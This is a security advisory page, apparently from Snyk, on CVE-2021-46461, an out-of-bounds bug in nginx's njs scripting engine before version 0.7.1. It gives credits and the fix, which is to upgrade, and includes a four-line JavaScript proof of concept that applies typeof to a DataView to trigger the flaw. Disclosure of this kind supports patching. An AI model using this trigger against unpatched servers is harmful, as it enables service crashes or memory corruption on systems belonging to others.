Out-of-Bounds Affecting nginx/njs package, versions [,0.7.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.86% (83rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-NGINXNJS-2401463
  • published18 Feb 2022
  • disclosed15 Feb 2022
  • creditP1umer, afang5472, Kotori of NeSE@IIE

Introduced: 15 Feb 2022

CVE-2021-46461  (opens in a new tab)
CWE-119  (opens in a new tab)

How to fix?

Upgrade nginx/njs to version 0.7.1 or higher.

Overview

Affected versions of this package are vulnerable to Out-of-Bounds via the njs_vmcode_typeof function in /src/njs_vmcode.c.

PoC:

function main() {
    const v2 = new ArrayBuffer();
    const v3 = new DataView(v2);
    const v5 = typeof v3;
}
main();

CVSS Scores

version 3.1